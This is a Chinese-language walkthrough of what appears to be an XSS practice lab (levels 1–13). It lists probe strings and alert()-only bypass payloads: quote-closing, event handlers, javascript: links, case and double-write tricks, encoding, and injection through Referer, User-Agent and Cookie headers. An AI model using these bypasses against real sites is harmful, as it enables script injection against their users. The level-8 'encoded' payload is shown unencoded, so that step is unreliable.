level1(直接注入)
<script>alert('xss')</script>
level2(双引号闭合标签)
测试
<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>
发现<>"被转换,构造新的语句
"><script>alert(/xss/)</script>
level3(单引号闭合标签+html事件)
测试
<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>
存在单引号,增加新的事件,构造新的语句:
'onmouseover='alert(/xss/)'
level4(双引号闭合标签+html事件)
测试
<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>
只有双引号,没有被转换,构造新的语句:
"onmouseover='alert(/xss/)'
level5(双引号闭合标签+伪协议)
测试
<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>
对ScRiPt和on有过滤,不能使用事件,可以使用a标签
"><a href="javascript:alert(/xss/)">click me</a>
level6(大小写转换)
测试
<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>
尝试过后,修改语句:
"><a hRef="javascript:alert(/xss/)">click me</a>
level7(双写)
测试
<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>
双写;修改语句:
"><scrscriptipt>alert(/xss/)</scrscriptipt>
level8(编码)
测试
<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>
可以看出大小写,双引号,也过滤了,前面关,用过的也都不起作用。
看到有个a标签,我们可以考虑伪协议 + 字符编码。
payload:javascript:alert(/xss/)
对r、i进行编码:
javascript:alert(/xss/)
level9(http://)
测试
<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>
javascript:alert('xsshttp://')
level10(type=“text”)
测试
<sCr<ScRiPt>IPT>OonN'"\/(hrHRefEF)</sCr</ScRiPt>IPT>
其类型为hidden,则需要重新上传,type="text",通过尝试,t_sort能够在页面显示
t_link
t_history
t_sort
t_sort=1" type="text"
"onmouseover='alert(/xss/)' type="text"
level11(referer)
查看页面代码和源码,发现可以通过referer注入命令
hackbar获取url,选择referer注入
click me!" type="button" onclick="alert(/xss/)
level12(user-agent)
查看页面代码和源码,发现可以通过user-agent注入命令
hackbar获取url,选择user-agent注入
click me!" type="button" onclick="alert(/xss/)
level13(cookie)
查看页面代码和源码,发现可以通过cookie注入命令
hackbar获取url,选择cookie注入
user=click me!" type="button" onclick="alert(/xss/)